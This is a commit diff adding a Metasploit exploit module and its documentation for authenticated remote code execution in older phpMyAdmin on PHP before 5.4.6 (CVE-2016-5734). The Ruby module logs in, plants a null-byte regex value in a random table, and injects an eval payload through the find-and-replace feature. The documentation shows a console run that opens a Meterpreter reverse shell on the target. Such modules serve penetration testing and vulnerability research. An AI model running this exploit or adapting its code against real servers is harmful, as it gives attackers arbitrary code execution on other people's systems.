Land #9825, Add 'phpMyAdmin Authenticated Remote Code Execution'
parent
ce48ff4382
commit
95cb9f3654
|
@ -0,0 +1,57 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in a PHP's `preg_replace()` function
|
||||
that is used by phpMyAdmin's replace table feature.
|
||||
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
PHP versions before 5.4.6 allow null termination of the `preg_replace` string parameter.
|
||||
|
||||
phpMyAdmin versions 4.6.x (prior to 4.6.3), 4.4.x versions (prior to 4.4.15.7),
|
||||
and 4.0.x versions (prior to 4.0.10.16) are affected.
|
||||
|
||||
|
||||
## Options
|
||||
|
||||
**DATABASE**
|
||||
This option specifies the database the module will use
|
||||
when creating a new table as part of the exploit.
|
||||
|
||||
|
||||
## Verification Steps
|
||||
|
||||
- [ ] Install vulnerable phpMyAdmin application
|
||||
- [ ] Create database through phpMyAdmin application
|
||||
- [ ] `./msfconsole`
|
||||
- [ ] `use exploit/multi/http/phpmyadmin_null_termination_exec`
|
||||
- [ ] `set USERNAME <username>`
|
||||
- [ ] `set PASSWORD <password>`
|
||||
- [ ] `set DATABASE <database>`
|
||||
- [ ] `set rhost <rhost>`
|
||||
- [ ] `run`
|
||||
|
||||
|
||||
## Scenarios
|
||||
|
||||
### Tested on Windows 7 x64 running phpMyAdmin 4.3.0 on PHP 5.3.8
|
||||
|
||||
```
|
||||
msf5 > use exploit/multi/http/phpmyadmin_null_termination_exec
|
||||
msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > set rhost 172.22.222.122
|
||||
rhost => 172.22.222.122
|
||||
msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > set database <database>
|
||||
database => <database>
|
||||
msf5 exploit(multi/http/phpmyadmin_null_termination_exec) > run
|
||||
|
||||
[*] Started reverse TCP handler on 172.22.222.177:4444
|
||||
[*] Sending stage (37775 bytes) to 172.22.222.122
|
||||
[*] Sleeping before handling stage...
|
||||
[*] Meterpreter session 2 opened (172.22.222.177:4444 -> 172.22.222.122:49169) at 2018-06-18 07:28:19 -0500
|
||||
[-] 172.22.222.122:80 - Failed to remove the table 'spkkw'
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : WIN-V438RLMESAE
|
||||
OS : Windows NT 6.1 build 7601 (Windows 7 Business Edition Service Pack 1) i586
|
||||
Meterpreter : php/windows
|
||||
```
|
|
@ -0,0 +1,241 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(info,
|
||||
'Name' => 'phpMyAdmin Authenticated Remote Code Execution',
|
||||
'Description' => %q{
|
||||
phpMyAdmin 4.0.x before 4.0.10.16, 4.4.x before 4.4.15.7, and 4.6.x before
|
||||
4.6.3 does not properly choose delimiters to prevent use of the preg_replace
|
||||
(aka eval) modifier, which might allow remote attackers to execute arbitrary
|
||||
PHP code via a crafted string, as demonstrated by the table search-and-replace
|
||||
implementation.
|
||||
},
|
||||
'Author' =>
|
||||
[
|
||||
'Michal Čihař and Cure53', # Discovery
|
||||
'Matteo Cantoni <goony[at]nothink.org>' # Metasploit Module
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'References' =>
|
||||
[
|
||||
[ 'BID', '91387' ],
|
||||
[ 'CVE', '2016-5734' ],
|
||||
[ 'CWE', '661' ],
|
||||
[ 'URL', 'https://www.phpmyadmin.net/security/PMASA-2016-27/' ],
|
||||
[ 'URL', 'https://security.gentoo.org/glsa/201701-32' ],
|
||||
[ 'URL', 'https://www.exploit-db.com/exploits/40185/' ],
|
||||
],
|
||||
'Privileged' => true,
|
||||
'Platform' => [ 'php' ],
|
||||
'Arch' => ARCH_PHP,
|
||||
'Payload' =>
|
||||
{
|
||||
'BadChars' => "&\n=+%",
|
||||
},
|
||||
'Targets' =>
|
||||
[
|
||||
[ 'Automatic', {} ]
|
||||
],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Jun 23 2016'))
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('TARGETURI', [ true, "Base phpMyAdmin directory path", '/phpmyadmin/']),
|
||||
OptString.new('USERNAME', [ true, "Username to authenticate with", 'root']),
|
||||
OptString.new('PASSWORD', [ false, "Password to authenticate with", '']),
|
||||
OptString.new('DATABASE', [ true, "Existing database at a server", 'phpmyadmin'])
|
||||
])
|
||||
end
|
||||
|
||||
def check
|
||||
begin
|
||||
res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, '/js/messages.php') })
|
||||
rescue
|
||||
print_error("#{peer} - Unable to connect to server")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
if res.nil? || res.code != 200
|
||||
print_error("#{peer} - Unable to query /js/messages.php")
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
# PHP 4.3.0-5.4.6
|
||||
# PHP > 5.4.6 not exploitable because null byte in regexp warning
|
||||
php_version = res['X-Powered-By']
|
||||
if php_version
|
||||
vprint_status("#{peer} - PHP version: #{php_version}")
|
||||
|
||||
if php_version =~ /PHP\/(\d+\.\d+\.\d+)/
|
||||
version = Gem::Version.new($1)
|
||||
vprint_status("#{peer} - PHP version: #{version.to_s}")
|
||||
if version > Gem::Version.new('5.4.6')
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
end
|
||||
else
|
||||
vprint_status("#{peer} - Unknown PHP version")
|
||||
end
|
||||
|
||||
# 4.3.0 - 4.6.2 authorized user RCE exploit
|
||||
if res.body =~ /pmaversion = '(\d+\.\d+\.\d+)';/
|
||||
version = Gem::Version.new($1)
|
||||
vprint_status("#{peer} - phpMyAdmin version: #{version.to_s}")
|
||||
|
||||
if version >= Gem::Version.new('4.3.0') and version <= Gem::Version.new('4.6.2')
|
||||
return Exploit::CheckCode::Appears
|
||||
elsif version < Gem::Version.new('4.3.0')
|
||||
return Exploit::CheckCode::Detected
|
||||
end
|
||||
return Exploit::CheckCode::Safe
|
||||
end
|
||||
|
||||
return Exploit::CheckCode::Unknown
|
||||
end
|
||||
|
||||
def exploit
|
||||
return unless check == Exploit::CheckCode::Appears
|
||||
|
||||
uri = target_uri.path
|
||||
vprint_status("#{peer} - Grabbing CSRF token...")
|
||||
|
||||
response = send_request_cgi({ 'uri' => uri})
|
||||
|
||||
if response.nil?
|
||||
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage grabbing CSRF token")
|
||||
elsif (response.body !~ /"token"\s*value="([^"]*)"/)
|
||||
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Is URI set correctly?")
|
||||
end
|
||||
|
||||
token = $1
|
||||
vprint_status("#{peer} - Retrieved token #{token}")
|
||||
|
||||
vprint_status("#{peer} - Authenticating...")
|
||||
login = send_request_cgi({
|
||||
'method' => 'POST',
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_post' => {
|
||||
'token' => token,
|
||||
'pma_username' => datastore['USERNAME'],
|
||||
'pma_password' => datastore['PASSWORD']
|
||||
}
|
||||
})
|
||||
|
||||
if login.nil?
|
||||
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
|
||||
elsif login.redirect?
|
||||
token = login.redirection.to_s.scan(/token=(.*)[&|$]/).flatten.first
|
||||
else
|
||||
fail_with(Failure::NotFound, "#{peer} - Couldn't find token. Wrong phpMyAdmin version?")
|
||||
end
|
||||
|
||||
cookies = login.get_cookies
|
||||
|
||||
login_check = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'index.php'),
|
||||
'vars_get' => { 'token' => token },
|
||||
'cookie' => cookies
|
||||
})
|
||||
|
||||
if login_check.nil?
|
||||
fail_with(Failure::NotFound, "#{peer} - Failed to retrieve webpage")
|
||||
elsif login_check.body =~ /Welcome to/
|
||||
fail_with(Failure::NoAccess, "#{peer} - Authentication failed")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Authentication successful")
|
||||
|
||||
# Create random table and column
|
||||
rand_table = Rex::Text.rand_text_alpha_lower(3+rand(3))
|
||||
rand_column = Rex::Text.rand_text_alpha_lower(3+rand(3))
|
||||
sql_value = '0%2Fe%00'
|
||||
|
||||
vprint_status("#{peer} - Create random table '#{rand_table}' into '#{datastore['DATABASE']}' database...");
|
||||
|
||||
create_rand_table = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'import.php'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'show_query' => '0',
|
||||
'ajax_request' => 'true',
|
||||
'db' => datastore['DATABASE'],
|
||||
'pos' => '0',
|
||||
'is_js_confirmed' => '0',
|
||||
'fk_checks' => '0',
|
||||
'sql_delimiter' => ';',
|
||||
'token' => token,
|
||||
'SQL' => 'Go',
|
||||
'ajax_page_request' => 'true',
|
||||
'sql_query' => "CREATE+TABLE+`#{rand_table}`+( ++++++`#{rand_column}`+varchar(10)+CHARACTER+SET"\
|
||||
"+utf8+NOT+NULL ++++)+ENGINE=InnoDB+DEFAULT+CHARSET=latin1; ++++INSERT+INTO+`#{rand_table}`+"\
|
||||
"(`#{rand_column}`)+VALUES+('#{sql_value}'); ++++",
|
||||
}
|
||||
})
|
||||
|
||||
if create_rand_table.nil? || create_rand_table.body =~ /(.*)<code>\\n(.*)\\n<\\\/code>(.*)/i
|
||||
fail_with(Failure::Unknown, "#{peer} - Failed to create a random table")
|
||||
end
|
||||
|
||||
vprint_status("#{peer} - Random table created")
|
||||
|
||||
# Execute command
|
||||
command = Rex::Text.uri_encode(payload.encoded)
|
||||
|
||||
exec_cmd = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'tbl_find_replace.php'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'encode_params' => false,
|
||||
'vars_post' =>{
|
||||
'columnIndex' => '0',
|
||||
'token' => token,
|
||||
'submit' => 'Go',
|
||||
'ajax_request' => 'true',
|
||||
'goto' => 'sql.php',
|
||||
'table' => rand_table,
|
||||
'replaceWith' => "eval%28%22#{command}%22%29%3B",
|
||||
'db' => datastore['DATABASE'],
|
||||
'find' => sql_value,
|
||||
'useRegex' => 'on'
|
||||
}
|
||||
})
|
||||
|
||||
# Remove random table
|
||||
vprint_status("#{peer} - Remove the random table '#{rand_table}' from '#{datastore['DATABASE']}' database")
|
||||
|
||||
rm_table = send_request_cgi({
|
||||
'uri' => normalize_uri(uri, 'import.php'),
|
||||
'method' => 'POST',
|
||||
'cookie' => cookies,
|
||||
'encode_params' => false,
|
||||
'vars_post' => {
|
||||
'show_query' => '0',
|
||||
'ajax_request' => 'true',
|
||||
'db' => datastore['DATABASE'],
|
||||
'pos' => '0',
|
||||
'is_js_confirmed' => '0',
|
||||
'fk_checks' => '0',
|
||||
'sql_delimiter' => ';',
|
||||
'token' => token,
|
||||
'SQL' => 'Go',
|
||||
'ajax_page_request' => 'true',
|
||||
'sql_query' => "DROP+TABLE+`#{rand_table}`"
|
||||
}
|
||||
})
|
||||
|
||||
if rm_table.nil? || rm_table.body !~ /(.*)MySQL returned an empty result set \(i.e. zero rows\).(.*)/i
|
||||
print_bad("#{peer} - Failed to remove the table '#{rand_table}'")
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue